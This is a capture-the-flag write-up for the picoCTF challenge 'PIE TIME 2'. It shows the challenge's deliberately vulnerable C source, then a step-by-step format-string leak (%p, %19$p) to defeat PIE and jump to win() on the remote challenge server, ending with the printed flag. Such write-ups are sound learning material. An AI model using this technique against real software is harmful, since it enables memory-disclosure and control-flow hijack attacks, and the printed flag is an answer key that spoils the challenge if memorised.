PIE TIME 2

August 6, 20253 minutes
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
In the call_functions() function, the user input is passed to printf without specifying the format, making it vulnerable to format strings. Then the user is asked for an address the program will jump to. The goal is to jump to the win() function to see the flag, but the binary has PIE protection, so the address of win() is different on every run. The first step is to use the format string vulnerability to leak the address of some function. I recommend doing it from gdb, since gdb always uses 5555… as the PIE base, which makes identification easier
pwndbg> r
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x555555559011 0x7ffff7e0b7a0 0x7ffff7e0b7a0 (nil) (nil) 0x34000000340 0x7ffff7e0a5c0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 (nil) 0xdaf8a8aad29b2600 0x7fffffffe610 0x555555555441 0x7fffffffe6b0 0x7ffff7c27675
At position 19 there is this address: 0x555555555441, which points to main+65
pwndbg> info symbol 0x555555555441
main + 65 in section .text of /home/d3bo/Desktop/ctf/pico/pie_time_2/vuln
To find the offset of main+65, we can subtract the PIE base from it (you can check it with the piebase command)
pwndbg> p/x 0x555555555441 - 0x555555554000
$1 = 0x1441
We get the offset of the win() function:
pwndbg> disass win
Dump of assembler code for function win:
0x000000000000136a <+0>: endbr64
On the remote:
[d3bo@archlinux pie_time_2]$ nc rescued-float.picoctf.net 60119
Enter your name:%19$p
0x613bc3138441
enter the address to jump to, ex => 0x12345:
We subtract the offset of main+65 from the leaked address to get the PIE base, and then add the offset of the win() function.
>>> hex(0x613bc3138441 - 0x1441)
'0x613bc3137000'
>>> hex(0x613bc3137000 + 0x000000000000136a)
'0x613bc313836a'
Finally, all that is left is to send the calculated address of the win() function
enter the address to jump to, ex => 0x12345: 0x613bc313836a
You won!
picoCTF{p13_5h0u1dn'7_134k_a14cf671}